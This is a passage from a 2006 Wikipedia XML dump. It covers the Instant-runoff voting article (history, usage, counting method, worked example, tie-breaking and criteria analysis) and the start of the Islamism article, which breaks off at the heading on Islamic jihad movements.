
The term ''instant-runoff'' refers to the way in which IRV ballots are tabulated, as the winner is determined similarly to holding a series of [[runoff election|runoff elections]] with vote choices implied from the alternative preferences listed on the ballot.  Instant-runoff voting is mathematically equivalent to the [[Single Transferable Vote]] (STV) method when there is only a single winner, and is therefore sometimes referred to as STV.

IRV was first used in [[Australia]] by the [[self-governing colony]] of [[Queensland]], in [[1893]]. The system gradually spread to other parts of Australia and has been used to elect the [[Australian House of Representatives]] since [[1919]].  IRV is also used to elect the [[President of Ireland]], the [[Papua New Guinea]] National Parliament, and the [[Fiji|Fijian]] [[House of Representatives (Fiji)|House of Representatives]].

== History and usage ==
Instant-Runoff Voting was invented around 1870 by American architect [[William Robert Ware]].  Ware was not a mathematician, thus never subjected his election method to any rigorous analysis.  He evidently based IRV on the single winner outcome of the [[Single Transferable Vote]] or STV developed in 1855 originally by [[Carl Andrae]] in [[Denmark]].  It was introduced into [[England]] in 1857 by the [[barrister]] [[Thomas Hare]], where it earned public praise from [[John Stuart Mill]], an English philosopher, member of parliament, and employee of the [[British East India Company|East India Company]].

{{sect-stub}}

=== Current usage ===
IRV is used in Australia for elections to the Federal [[Australian House of Representatives|House of Representatives]], for the Legislative Assemblies (&quot;lower houses&quot;) of all states and territories except [[Tasmania]] and the [[Australian Capital Territory]], which use regional multi-member constituencies.  It is also used for the Legislative Councils (&quot;upper houses&quot;) of [[Tasmania]] and [[Victoria (Australia)|Victoria]], although the latter will switch to the multi-member variant from [[2006]]. 

In the [[Pacific]], IRV is used for the [[Fiji|Fijian]] [[House of Representatives (Fiji)|House of Representatives]].  [[Papua New Guinea]] has also decided to adopt it for future elections, starting in [[2007]].   [[Voting system of Fiji|The Fijian system]] has been modified to allow for both &quot;default preferences&quot;, specified by the political party or candidate, and &quot;custom preferences&quot;, specified by the voter.  Each political party or candidate ranks all other candidates according to its own preference; voters who are happy with that need only to vote for their own preferred candidate, whose preferences will automatically be transferred according to the ranking specified by the candidate.  Voters who disagree with the ranking, however, may opt to rank the candidates according to their own preferences.  In the [[Fiji election of 2001|last election]], however, only about a tenth of all voters did so. The ballot paper is divided by a thick black line, with boxes above (for the default options) and below (for customized preferences).

The countries mentioned above all use IRV for some or all of their municipal elections.  Starting in [[2004]], some municipal areas in [[New Zealand]] also adopted IRV to elect mayors and STV to elect councilors.  Political parties, cooperatives and other private groups also use STV and/or IRV.

A voting method similar to IRV, known as [http://mathforum.org/dmpow/solutions/solution.ehtml?puzzle=46]plurality vote with elimination, is used to select the winning bid of both the Summer and Winter Olympics in the [[International Olympic Committee]].

See [[Table of voting systems by nation]]

=== Adoption in the United States ===

Suggested by a recent version of [[Robert's Rules of Order]], instant-runoff voting is used in the United States for some non-governmental elections, including student elections at some major universities, including most notably the [[ASUC]] at the [[University of California, Berkeley]].

Notable supporters include Republican U.S. Senator [[John McCain]], [[U.S. Democratic Party presidential nomination, 2004|2004 Democratic presidential primary]] election candidates [[Howard Dean]] and [[Dennis Kucinich]], and [[consumer advocacy|consumer advocate]] [[Ralph Nader]]. The system is favored by the [[United States Green Party]] and the [[United States Libertarian Party]], as a solution to the [[spoiler effect|&quot;spoiler&quot; effect]] third-party sympathizers suffer from under plurality voting (i.e., voters are forced to vote tactically to defeat the candidate they most dislike, rather than for their own preferred candidate).

IRV was adopted for mayoral races in [[Ann Arbor, Michigan]] in [[1975]] after a successful ballot initiative sponsored by the local, left-wing [[Human Rights Party]]; however, the process was used only for the [[1976]] mayoral election.

This issue rose to attention in the [[United States]] in the [[U.S. presidential election, 2000|2000 election]]. Supporters of [[Ralph Nader]] who nevertheless preferred [[United States Democratic Party|Democrat]] [[Al Gore]] to [[United States Republican Party|Republican]] [[George W. Bush]] found themselves caught in a dilemma. They could vote for Nader, and risk Gore losing to Bush, or, they could vote for Gore, just to make sure that Bush is defeated.  It has been argued that Bush won solely due to the &quot;spoiler effect&quot; of Nader supporters in either [[Florida]] or in [[New Hampshire]]. 

In March [[2002]], an initiative backed by the [[Center for Voting and Democracy]] passed by referendum making instant runoff voting the means of electing local candidates in [[San Francisco]]. It was first used in that city in the October 2004 YouthVOTE, an election held throughout San Francisco’s public schools which elected the SF school board's student delegate, [http://www.scoop.co.nz/stories/HL0411/S00013.htm] after that it was used in the November 2004 supervisoral races. (Note: The [http://www.ci.sf.ca.us/site/election_page.asp?id=24269 San Francisco Department of Elections] prefers the term &quot;Ranked Choice Voting&quot; because &quot;the word 'instant' might create an expectation that final results will be available immediately after the polls close on election night.&quot;) The new system did not work as well as was hoped due to software and logistical difficulties; the results took several days to produce definitive results.  

Voters in [[Ferndale, Michigan]] amended the city charter in 2004 to allow for election of the mayor and city council by instant-runoff voting. On [[March 1]], [[2005]], voters in [[Burlington, Vermont]] voted to amend their city charter to use instant-runoff voting.

In September [[2003]], an amendment to the California State Constitution was proposed ([http://info.sen.ca.gov/pub/bill/sen/sb_0001-0050/sca_14_bill_20030912_introduced.html SCA 14]) with wide-ranging goals of [[election reform]], including ranked-choice voting for statewide offices.

In order to increase awareness of the voting method and to demonstrate it in a real-world situation, the [[Independence Party of Minnesota]] tested IRV by using it in a [[straw poll]] during the 2004 [[Minnesota]] [[caucus]]es (results favored [[John Edwards]]).  Also, the [[Green Party of Minnesota]] conducts an annual poll of [[Minnesota State Fair]] attendees, where each person ranks their preferences for fair food to better understand how IRV works in a real-world situation.

Activists in the state of Washington have been urging adoption of instant-runoff voting there for several years. An initiative seeking ballot access in 2005 failed to garner enough signatures. The city of [[Vancouver, Washington]] has voted to adopt instant-runoff voting, but the state legislature has yet to enact enabling legislation.

In the November 8, 2005 election, the voters in [[Takoma Park, Maryland]] adopted IRV on a ballot item.  It was voted for by 84% of the 1582 voters.

=== Adoption in Canada ===

====Historical use of IRV in British Columbia====
{{sectnpov}}

IRV, under the name preferential ballot or elimination ballot, was applied in British Columbia for the [[British Columbia general election, 1952|1952]] and [[British Columbia general election, 1953|1953]] elections.  Brought in by the old guard parties ([[British Columbia Liberal Party|Liberals]] and [[British Columbia Conservative Party|Conservatives)]] to try to foil the possibility of a left-wing government under the [[Co-operative Commonwealth Federation]] or CCF, the predecessor to today's [[New Democratic Party]].  IRV backfired on those who had brought it in, with CCF voters marking an obscure also-ran party's outspoken but otherwise unknown leader, and the fringe Social Credit movement was coalesced into a governing caucus overnight in an uneasy coalition between the [[British Columbia Social Credit Party|Social Credit Party]] and the rumps of the old guard parties.  The coalition dissolved within the year and new elections using the IRV system were held that secured Social Credit a comfortable majority.  One of the now-secure new [[Premier of British Columbia|Premier]]'s acts after this second election was to return the province to first-past-the-post voting, so as to remove any future risk to his own governance by the unknown factors of the preferential choice ballot.

== How IRV works ==

=== Voting ===

Each voter ranks at least one candidate in [[Preferential_voting|order of preference]]. In most Australian elections, voters are required to rank all candidates. In other elections, votes may be &quot;truncated&quot;, for example if the voter only ranks his first five choices. An example of truncated voting occurs in elections for the [[New South Wales Legislative Assembly]]. In these elections, a valid vote requires the voter to choose only one candidate but the voter also has the choice of indicating an order of preference for as many candidates as they like. If a voter's choices are eliminated from the count, the vote is said to be exhausted. This is commonly known as optional preferential voting.

=== Counting the votes ===

First choices are tallied. If no candidate has the support of a majority of voters, the candidate with the least support is eliminated. A second round of counting takes place, with the votes of supporters of the eliminated candidate now counting for their second choice candidate. After a candidate is eliminated, he or she may not receive any more votes.

This process of counting and eliminating is repeated until one candidate has over half the votes. This is equivalent to continuing until there is only one candidate left. However it is possible, with voter truncation, for the process to continue until there is only one candidate left, who does not end up with more than half the votes.

=== An example ===

{{Tenn_voting_example}}

&lt;div class=&quot;floatright&quot;&gt;
{| border=1
!City
!Round 1
!Round 2
!Round 3
|-
!bgcolor=&quot;#ffc0c0&quot;|Memphis
|bgcolor=&quot;#ffc0c0&quot;|42
|bgcolor=&quot;#ffc0c0&quot;|42
|bgcolor=&quot;#ffc0c0&quot;|42
|-
!bgcolor=&quot;#ffc0c0&quot;|Nashville
|bgcolor=&quot;#ffc0c0&quot;|26
|bgcolor=&quot;#ffc0c0&quot;|26
|bgcolor=&quot;#e0e0ff&quot;|&lt;strike&gt;26&lt;/strike&gt; 0
|-
!bgcolor=&quot;#ffc0c0&quot;|Chattanooga
|bgcolor=&quot;#ffc0c0&quot;|15
|bgcolor=&quot;#e0e0ff&quot;|&lt;strike&gt;15&lt;/strike&gt; 0
|bgcolor=&quot;#e0e0ff&quot;|0
|-
!bgcolor=&quot;#ffc0c0&quot;|Knoxville
|bgcolor=&quot;#ffc0c0&quot;|17
|bgcolor=&quot;#ffc0c0&quot;|&lt;strike&gt;17&lt;/strike&gt; 32
|bgcolor=&quot;#ffffc0&quot;|&lt;strike&gt;32&lt;/strike&gt; 58
|}
&lt;/div&gt;

Chattanooga, having the smallest vote, is eliminated in the first round.  All of the votes for Chattanooga have Knoxville as a second choice, so they are transferred to Knoxville.  Nashville now has the smallest vote, so it is eliminated.  The votes for Nashville have Chattanooga as a second choice, but as Chattanooga has been eliminated, they instead transfer to their third choice, Knoxville.  Knoxville now has 58% of the vote, and it is the winner.

In a real election, of course, voters would show greater variation in the rankings they cast, which could influence the result.  However, the result of Knoxville winning shows that in this case, '''a capital which is the last choice of 42% of the state's population can win'''; some would say that this is an undesirable result.  The reason for this result is that the preferences of those who voted for Memphis are not counted beyond their first choice, because Memphis isn't eliminated until the last &quot;round&quot;.  In [[Schulze method]], another ranked choice voting method, all preferences are counted, and Nashville, a compromise city toward the geographic center of the state, would win.  To voters, both methods are the same, as the ballot is identical in most ranked choice voting methods.  The method of counting (and in this case, the outcome) of the votes differs.

=== Special cases of IRV eliminations ===

Instant Runoff Voting as an ideal does not explicitly define how to handle special cases such as ties and different rules can be considered. A good IRV election must define rules to handle these cases before the votes are cast. This is because there are cases where one set of rules will select a winner different from another set of rules and the set of rules used may affect how the voters cast their ballots.

Especially when performing IRV counts on smaller elections, there can be frequent last-place ties that prevent clear bottom elimination. 

Here are some approaches to consider, individually and combined. The first class of rules allows many candidates to be eliminated at the first count regardless of actual ties. These are practical rules before the first round that reward stronger candidates among the full set of competition. Such rules won't likely affect the winner but they will reduce the number of elimination rounds and thus the number of opportunities for ties to develop. A second class of rules consider actual ties that can't be avoided.

* '''Consider multicandidate elimination of weak candidates as the first step:'''
** CANDIDATE COUNT: Define a maximum number of candidates that can survive the first round.
*** Example top-two
** VOTE MINIMUM: Define a minimum vote threshold (5 vote for example) and eliminate all weaker candidates together. 
*** Requires limitations for rule to apply
** PERCENT MINIMUM: Define a minimum percent vote threshold (5% for example) and eliminate all weaker candidates together. 
*** Again, requires limitations for application
** PERCENT RETENTION: Define a minimum percent of votes by top candidates to be retained. 
*** Example - retain the top set of candidates who combined control 50% of the vote

* '''Tie-breaking rules:'''
** LOGIC: If the tied candidates combined have fewer votes than the next highest candidate, the entire tied set can be eliminated at once. 
*** Logically deterministic, but may not apply
** FIRST ROUND: Eliminate the candidate in the tie with the lowest number of votes at the earliest stage in the count at which the candidates in question had an unequal number of votes (in effect this means the candidate with the lowest number of first-preference votes - except in the unlikely circumstance that the same candidates are tied both in the round when one has to be eliminated and in the first round).
*** Traditional rule; violates purity of one person, one vote principle
** ALL: Eliminate all tied candidates at once. 
*** Good for weak candidates (with less than 5% of votes), but can lead to [[strategic nomination]]s, which cause IRV implementations using this method to not be [[Spoiler_effect|spoiler proof]]
** RANDOM: Eliminate one randomly to break the tie.
** ORDER: If the order of the candidates on the ballot paper has been determined by lot, then ties can be eliminated by choosing say the top candidate.
** [http://alumnus.caltech.edu/~seppley/MAM%20procedure%20definition.htm Random Voter Hierarchy (RVH)]: Randomly determine a strict ordering of the candidates and when selecting a candidate to eliminate, pick one based on this strict ordering.
*** Similar to random elimination, but with many nice properties not found with random elimination

== Assessing IRV ==

===Comparison of IRV to plurality voting===
There are two major differences between IRV and Plurality voting:
*Voters use [[preferential voting]] - a ranked ballot indicating numerically the order of their preference for candidates.
*The intent of IRV is for the winning candidate to be one that receives [[absolute majority]] support of voters, compared to the requirement for only [[simple majority]] support in a [[plurality ]] system.

===Comparison of IRV to normal runoff voting===
Advantages of instant runoff ballot (IRV):
; More positive
: Candidates are discouraged from negative campaigning. (A winning candidate will usually need first, second and lower ranked preferences to win, and can't safely afford to make enemies with no second chance vote)
; Avoids some fracturing of political interests
: In a runoff, a major political interest may fracture into a variety of parties, with its vote splitting in the first ballot such that all those parties' candidates are eliminated in the first ballot.  (In the 2002 French Presidential election, for example, the minority Front National candidate won through to the final ballot because the more numerous Socialist vote was split among different parties. ''This can also be considered as a spoiler effect in the first round vote'')
; Saves money
: IRV spares the cost of having run-off elections. 

Advantages of sequential balloting (runoff voting):
; Easier to vote
: A runoff allows voters and factions to refocus their attention on remaining candidates in each round. (In IRV, voters must make careful choices among a large set of candidates in one ballot and may not have enough information to make informed rankings among the competitive candidates.)
; Less confusion on voters' part
: Many voters don't follow races closely. They know who their first choice is, but examining the differences between all the other candidates, they believe, requires too much time and effort.
; Less critical examination of candidates by one another
: Candidates are discouraged from criticizing one another, as a candidate may need first, second and lower-ranked preferences to win, and therefore a candidate can't make enemies with another candidate by criticizing him or her.
; Chance for appeal
: Candidates that were eliminated are given another chance to endorse and remaining candidates have another chance to court voters supporting the eliminated candidates.
; Presentation of minor parties
: In a runoff, minor parties stand on their own merits in the first round of voting.  Under the single event IRV, interest in the minor parties only focuses on how they recommend their supporters cast their preferences between the major parties: the electoral system configures minor parties as preference 'cows'.  In a runoff, minor parties have the power to recommend second preferences in the final round.

=== Effect on parties and candidates ===

Unlike runoff voting, however, there are no chances to deal in between rounds, change voters' minds, or gain support of the other candidates.

Giving them only one chance to do so, instant runoff voting encourages candidates to balance earning core support through winning first choice support and earning broad support through winning the second and third preferences of other candidates' core supporters. As with first-past-the-post, however, any block of more than half the voters can elect a candidate regardless of the opinion of the rest of the voters.

This is considered a weakness by the advocates of a more [[deliberative democracy]], who point to the French system of presidential election where such between-round dealings are heavily exploited and useful (they say) to draw together a very factionalized electorate. However, critics of the French runoff system point to the dreaded &quot;votez escroc, pas facho&quot; (vote for the crook, not the fascist) phenomenon, which they believe awarded Chirac an undeserved landslide victory in 2002.

The Australian system also allows minority parties to have key planks of their platforms included in those of the major parties by means of so-called &quot;preference deals&quot;. This is seen as legitimate political activity. If enough people care about (for instance) [[Green Party]] issues that that party's second preference can swing the vote, then it is fair enough that it have some limited say in policy.

Another advantage of runoff voting is that it usually allows a &quot;protest vote&quot; to be made without penalty. A person voting for a minority party does not &quot;throw his vote away&quot;, as with first-past-the-post systems, so allowing the electorate to send clear signals to the major parties.

=== Criteria passed ===

There are several [[voting system criterion|voting system criteria]] that have been defined by political scientists for assessment of voting systems.

IRV meets the [[majority criterion]], the [[mutual majority criterion]], the [[Condorcet loser criterion]] and, depending on the used tie-breaker method, the [[independence of clones]] criterion.

IRV is invulnerable to the [[tactical voting|burying]] strategy.

=== Criteria failed ===

IRV does not pass the [[monotonicity criterion]], the [[consistency criterion]], the [[Condorcet criterion]], the [[summability criterion]], the [[participation criterion]], [[reversal symmetry]], or the [[Independence of irrelevant alternatives]] criterion.

According to [[Arrow's theorem]], no voting system meets all of a certain set of criteria when there are three or more choices.

These theoretical objections may correspond with practical failures of IRV, discussed below. The first two, '''compromise''' and '''push-over''', are types of [[tactical voting]], where voters vote insincerely to increase the likelihood of a favored outcome. Some argue that [[Condorcet methods]] and [[approval voting]] are better at selecting compromise candidates and at reducing the [[spoiler effect]].  Yet [[Condorcet methods]] may not yield a winner (see [[Condorcet paradox]]), in which case one must resort to another voting method (i.e. [[Borda count]], [[Instant-runoff]]), or restrict the field of candidates (see [[Condorcet_method#Resolving_circular_ambiguities]]).
 
==== Compromise ====
Assume the earlier Tennessee example. The voters from Memphis can get a better result by &quot;compromising&quot;: They can rank Nashville over Memphis, and thus ensure that Nashville, their second choice, will win, rather than Knoxville, their last choice.

Alternatively, if the voters from Memphis do not vote tactically (perhaps because they think they have a chance of winning outright, perhaps because they dislike insincerity, etc.), voters from Nashville can improve their result by &quot;compromising&quot; and ranking Chattanooga over Nashville. This would allow Chattanooga to defeat Knoxville in the first round and go on to become eventual winner, a better result for Nashville voters than a Knoxville win.

Nearly all voting methods produce an incentive to use the compromising strategy in some scenarios, i.e. in scenarios where there is no [[Condorcet criterion|Condorcet winner]]. However, IRV clearly has more frequent compromising incentive than [[Condorcet method|Condorcet methods]], in that it sometimes produces a compromising incentive even when there is a [[Condorcet criterion|Condorcet winner]].

This problem is exacerbated in versions of IRV that do not allow equal rankings. If voters do choose to compromise in a version of IRV that does not allow equal rankings, they will have to so by ranking a more-preferred candidate ''below'' a less-preferred candidate, which is a more severe distortion of their sincere preferences than ranking them equally.

==== Push-over ====
IRV is unusual in that it fails the [[monotonicity criterion]]. The implication of this is that it is vulnerable to the &quot;push-over&quot; [[tactical voting|strategy]]. Tactical voters can benefit by raising &quot;push-overs&quot; (candidates unlikely to win) above their real favorite, causing a stronger opponent to their favorite to be eliminated early, leaving only the push-over to contend with their favorite in the last round.

This strategy typically requires a great deal of coordination, and typically entails a substantial risk of backfire. Thus, some argue that IRV's vulnerability to the strategy will rarely or never manifest in practice.



==== Failure to pick a compromise candidate ====
Imagine that candidates are located along a one dimensional ideological spectrum, and that the center of the spectrum is defined by the median voter. IRV does not reliably choose the option closest to the center of the spectrum. Thus it can be argued that IRV is less apt at choosing compromise candidates (than for example the [[Condorcet method|Condorcet methods]]), and more likely to choose an ideologically polar candidate. 

For example, this failure can occur in a 3-choice election where parties A and C are bitterly opposed, and party B is first choice for a minority but tolerable for a large majority. For a real-life example, consider the 17th-century Europe struggle over &quot;government-enforced [[Catholicism]]&quot; versus &quot;government-enforced [[Protestantism]]&quot;, with &quot;freedom of private worship&quot; as the compromise B.

Imagine that votes are cast as follows:
{| border=1
!38% of voters
!11% of voters
!13% of voters
!38% of voters
|-
|1. A
|1. B
|1. B
|1. C
|-
|2. B
|2. A
|2. C
|2. B
|-
|3. C
|3. C
|3. A
|3. A
|}

In IRV, the compromise (choice B) is eliminated immediately. Choice C is elected, arguably giving severely lower total satisfaction amongst voters than choice B, who is preferred by a large majority to A, and who is also preferred by a large majority to C.

===Logistical issues===

IRV fails the [[summability criterion]], which means that the results for a particular precinct cannot be conveniently summarized for transfer to the central tally location. Instead, the precincts must send a total record of every ordering of the candidates made by a voter, times the frequency of that ordering. The unwieldiness of this data may prolong the counting procedure, provide more opportunities for undetected tampering than in summable methods and make recounts more costly.

If counting takes place in several places for a single IRV election (as in Australia), these counting centers must be connected by a securely authenticated channel (historically the telegraph was used) to inform them which candidate has come last and should be dropped.

===Logistical issues in Australia===

==== House of Representatives ====
Initially, in Australia, ballots are counted at the booth level, with first preference results reported to the Divisional Returning officer and then to the National Tally Room. If it is clear who the two leading candidates will be, a notional distribution of the preferences of the minor candidates may be made. Postal and absentee ballots are of course yet to be processed - that takes another week or two.

Over the next few weeks, ballots and matching documentation are concentrated in the offices of the Divisional Returning Officer, where a actual distribution of preferences is made. This may be done by physically moving the ballots around, or by entering ballot data into a suitable computer.

If a candidate wins 51% of first preferences, a distribution of minor party preferences is strictly speaking not necessary, however the law now allows that such preferences be distributed to see what the &quot;two-party preferred vote&quot; actually is.

Federal elections are conducted by the Australian Electoral Commission, who employ all the workers at all the booths, to a common standard of neutrality and efficiency. Candidates may appoint scrutineers to watch (but not touch) what is going on.

==Other single-winner methods==

IRV is not the only alternative to the [[Plurality voting|plurality]] system. Other possible reforms include several different [[Condorcet method|Condorcet methods]] (e.g. [[ranked pairs]] and [[Schulze method|Schulze]]), [[approval voting]], [[range voting]], the [[Borda count]], [[Bucklin voting|Bucklin]], and many others. (See the [[voting systems]] article.)

==U.S. Legislation==
On May 26, 2005, Representative [[Cynthia McKinney]] introduced [http://www.govtrack.us/congress/bill.xpd?bill=h109-2690 H.R.2690], the &quot;Voter Choice Act of 2005,&quot; which requires the use of Instant Runoff Voting for General Elections for Federal Office.  The [[bill]] has no co-sponsors, and has sat without action in the [[U.S. House Committee on House Administration]] since the date of introduction.

==See also==
*[[Alternative vote top-up]]
*[[Single Transferable Vote]]
*[[List of democracy and elections-related topics]]
*[[Table of voting systems by nation]]
*[[Australian electoral system]]
*[[Electoral systems of the Australian states and territories]]
*[[Voting system]] - many other ways of voting
*[[Runoff voting]]
*[[First Past the Post electoral system]]
*[[Approval voting]]
*[[Condorcet method]]
*[[Borda count]]
*[[Politics of Papua New Guinea|Papua New Guinea]] uses an IRV variant known as ''Limited Preferential Vote''

==External links==
* Advocacy organizations
** [http://www.fairvote.org/irv Instant Runoff Voting] at the [[Center for Voting and Democracy]]
** [http://instantrunoff.com instantrunoff.com], by the Midwest Democracy Center [http://www.midwestdemocracy.org/]
** [http://www.firv.org FIRV] ([[Ferndale, Michigan]] for Instant Runoff Voting)
** [http://www.calirv.org/ California IRV Coalition]
** [http://cirv.org Coalition for Instant Runoff Voting in '''Florida''']
** [[Green Party (United States)]]
** [http://www.usalone.com/cgi-bin/petition.cgi?pnum=114 e-mail ] your [[U.S. Representative]] to Support H.R. 2690, &quot;The Voter's Choice Act of 2005.&quot;

* Advocacy positions
** [http://www.isye.gatech.edu/~jjb/papers/stv.pdf &quot;Single Transferable Vote Resists Strategic Voting&quot;] ([[Portable Document Format|PDF]] file) by John J. Bartholdi, III and James B. Orlin.
** [http://thedemocraticagenda.blogspot.com/2005/01/what-is-instant-runoff-voting.html &quot;What is Instant Runoff Voting?&quot;] a [[weblog]] ''The Democratic Agenda'', [[January 1]], [[2005]]
* Con positions
** [http://www.tfproject.org/tfp/archive/index.php/t-73366.html &quot;The Problem with Instant Runoff Voting&quot;]
* Analysis positions
** [http://www.mcdougall.org.uk/VM/ISSUE15/P2.HTM Nonmonotonicity in AV] Article by Eivind Stensholt.
** [http://www.condorcet.org/rp/IRV.shtml Comparison] with [[Condorcet method|Condorcet Voting]] by Blake Cretney
** [http://fc.antioch.edu/~james_green-armytage/voting.htm Voting methods: tutorial and essays] by James Green-Armytage (for IRV, see e.g. [http://fc.antioch.edu/~james_green-armytage/vm/survey.htm#irv 1] [http://fc.antioch.edu/~james_green-armytage/vm/define.htm 2] [http://fc.antioch.edu/~james_green-armytage/vm/introduction.htm#irv 3] [http://fc.antioch.edu/~james_green-armytage/vm/cvdletter.htm 4] [http://fc.antioch.edu/~james_green-armytage/vm/value_of_first_choice.htm 5])
** [http://www.ijs.co.nz/irv-wrong-winners.htm Advocacy of the &quot;Avy&quot; method, opposition to IRV]

* Examples
** [http://www.demochoice.org/dcballot.php?poll=1984 IRV Poll For 2008 U.S. Democratic Party Nomitee] at demochoice.org
** [http://www.mnip.org/caucusresults.htm IRV poll for U.S. President, 2004] by the [[Independence Party of Minnesota]]
** [http://stv.sourceforge.net/ pSTV -- Open source software for computing IRV and STV]
** [[Australian Electoral Commission]] [http://www.aec.gov.au/]
** [http://www.demochoice.org/dcballot.php?poll=Futurama1 ''Favourite Futurama Character Poll'']

* Legislation
** U.S. [http://www.govtrack.us/congress/bill.xpd?bill=h109-2690 House Resolution 2690] the &quot;Voter's Choice Act of 2005&quot;
[[Category:Voting systems]]

[[de:Instant-Runoff-Voting]]
[[fr:Vote alternatif]]</text>
    </revision>
  </page>
  <page>
    <title>Islamism</title>
    <id>15012</id>
    <revision>
      <id>42115019</id>
      <timestamp>2006-03-03T22:43:28Z</timestamp>
      <contributor>
        <ip>209.115.232.94</ip>
      </contributor>
      <text xml:space="preserve">'''Islamism''' refers to a set of political ideologies derived from various  [[religion|religious views]] of [[Muslim fundamentalism|Muslim fundamentalists]], which hold that [[Islam]] is not only a religion, but also a political system that can govern the legal, economic and social imperatives of the [[state]]. Islamist movements seek to re-shape the state by implementing a conservative formulation of [[Sharia]]. [http://i-cias.com/e.o/islamism.htm] Islamists regard themselves as Muslims rather than Islamists, while moderate Muslims and [[liberal movements within Islam]] reject this notion. For some, Islamism exhibits [[triumphalism]].

==Definition==
In the aftermath of the [[September 11, 2001 attacks]], Islamist movements, along with other [[Islam as a political movement|political movements]] inspired by [[Islam]], gained increased attention in the Western [[media]].  Although the groups and individuals representing these are not mutually exclusive, within academia, each term does have a distinct definition.  Some Islamist groups have been implicated in [[terrorism]] and have become targets in the [[War on Terrorism]]. However, it is important to keep in mind that this 'difference' between &quot;Islam&quot; and &quot;Islamism&quot; is not as sharp, clear or distinct for many followers of Islam as it has been made in recent years become for many English-speaking non-Muslims or western academics. For example, most followers of Islam would consider themselves &quot;Fundamentalists&quot;, insofar as believing in Islam means believing in its Fundamentals. Similarly, Islam also promotes a vision of society influenced by the tenets of the religion, in much the same way that Christianity, Buddhism and other religions advocate not just personal but also social changes.

Most Islamist literature deals not with other [[religion]]s, but with political [[ideologies]], since Islamists were reacting against competing movements such as [[communism]]. Widespread poverty and consequent class tensions led to widespread [[socialist]] movements all over the Muslim world during the [[20th century]]. But the collapse of the [[Soviet Union]] ultimately reduced the influence of leftist ideologies. Islamism has emerged as the remaining revolutionary ideology in Muslim societies, gaining much support through rising anti-Western sentiment due to control of the [[West Bank]] and [[Gaza Strip]] by [[Israel]].

Governments based on secular [[Arab nationalism]] have found themselves facing economic stagnation and disorder. Some Muslims place the blame for these flaws in Muslim societies on the influx of &quot;foreign&quot; ideas; a return to the principles of Islam is seen as the natural cure. A persistent Islamist theme is that Muslims are persecuted by the West and other foreigners. In this context, Islamist ideas developed in several different settings.

Some, including [[Robert Spencer]] and [[Andrew Bostom]], specialists on Islam, reject the notion of &quot;Islamist&quot; as separate from Islam, arguing that the elements that are identified as &quot;Islamist&quot; are actually central to Islam.

Islam is not merely a religion. It is a way of life for all Muslims. Just as it gives laws what is forbidden to eat, it gives laws on crimes that are forbidden to do, and there are punishments for not following those. This is generally what Shari'ah (Islamic law) is. 

Muslims do not find anything wrong in trying to establish an Islamic state that takes the Shari'ah as law if the majority of that country's population are themselves Muslim and so would find no objection to their state law being in accordance with their belief. 

This seem to mirror what 'Islamists' would like, so Muslims do not disagree with them on this notion, rather, they agree with them.

==History==
Although Islamic states based on [[Shari'a]] law have existed since the earliest days of Islam, ''Islamism'' refers to modern movements that developed during the twentieth century in reaction to several forces. Following [[World War I]], the dissolution of the [[Ottoman Empire]], and the subsequent dissolution of the [[Caliphate]] by [[Mustafa Kemal Atatürk]] (founder of [[Turkey]]), some Muslims perceived that Islam was in retreat, and felt that Western ideas were spreading throughout Muslim society, along with the influence of Western nations.  During the [[1960s]], the predominant ideology within the Arab world was [[pan-Arabism]] which deemphasized religion and emphasized the creation of a socialist, secular state based on [[Arab nationalism]] rather than [[Islam]].

===The Deobandi Movement===
In India, the [[Deobandi]] movement developed as a reaction to [[United Kingdom|British]] actions against Muslims and the influence of [[Sayed Ahmad Khan]], who advocated the reform and [[modernization]] of Islam. Named after the town of [[Deoband]], where it originated, the movement was built around Islamic schools (principally [[Darul Uloom Deoband| Darul Uloom]]) and taught an interpretation of Islam that encouraged the subservience of women, discouraged the use of many forms of technology and entertainment, and believed that only &quot;revealed&quot; or God-inspired knowledge (rather than human knowledge) should be followed.
These, however, were against many Muslim teachings (e.g. women were in fact to be held in high esteem and held rights over men, not vice versa).

Though the Deobandi philosophy is puritanical and wishes to remove non-Muslim (i.e., Hindu or Western) influence from Muslim societies, it was not especially violent or [[Proselytization|proselytising]], confining its activity mostly to the establishment of ''[[madrassa]]s'', or Muslim religious schools. They are a major sector of Muslims in the region (the followers of [[Sayed Ahmad Khan]] being a significant minority). The [[Taliban]] movement in Afghanistan was a product of the Deobandi philosophy and the ''madarassas''.

===Sayyid Abul Ala Maududi===
[[Sayyid Abul Ala Maududi]] was an important early twentieth-century figure in India, then, after independence from Britain, in [[Pakistan]]. Strongly influenced by Deobandi ideology, he advocated the creation of an Islamic state governed by [[sharia]], Islamic law, as interpreted by [[Shura]] councils.  Maududi founded the [[Jamaat-e-Islami]] in 1941 and remained at its head until 1972.  His extremely influential book, &quot;[[Towards Understanding Islam]]&quot; ([[Risalat Diniyat]] in [[Arabic language|Arabic]]), placed Islam in modern context and enabled not only conservative [[ulema]] but liberal modernizers such as [[al-Faruqi]], whose &quot;[[Islamization of Knowledge]]&quot; carried forward some of Maududi's key principles.  Chief among these was the basic compatibility of Islam with an ethical scientific view.  Quoting from Maududi's own work:
:''Everything in the universe is 'Muslim' for it obeys God by submission to His laws... For his entire life, from the embryonic stage to the body's dissolution into dust after death, every tissue of his muscles and every limb of his body follows the course prescribed by God's law.  His very tongue which, on account of his ignorance advocates the denial of God or professes multiple deities, is in its very nature 'Muslim'...  The man who denies God is called [[Kafir]] (concealer) because he conceals by his disbelief what is inherent in his nature and embalmed in his own soul.  His whole body functions in obedience to that instinct&amp;hellip; Reality becomes estranged from him and he gropes in the dark.''

===The Muslim Brotherhood===
Maududi's ideas were a strong influence on [[Sayyed Qutb]] in [[Egypt]]. Qutb was one of the key philosophers in the [[Muslim Brotherhood]] movement after the assassination of its founder in 1949. The Brotherhood was established in Ismailiyah, Egypt in 1928 and was banned (but still exists) following confrontations with Egyptian president [[Gamal Abdul Nasser]], who jailed Qutb and thousands of others for years. The [[Muslim Brotherhood]] (founded by [[Hassan al Banna|Hasan al-Banna]]) advocated a return to sharia because of what they perceived as the inability of Western values to secure harmony and prosperity for Muslims. Since only divine guidance could lead humans to peace, justice, and prosperity, it followed that Muslims should eschew man-made systems of governance and live according to divinely-inspired sharia (&quot;The Qur'an is our constitution&quot;). The Brotherhood also advocated [[jihad]] against the European colonial powers, particularly the British and the French, and their allies, who ruled over virtually all of the Muslim world during al-Banna's (and much of Qutb's) life time.

===Islamic Jihad movements===
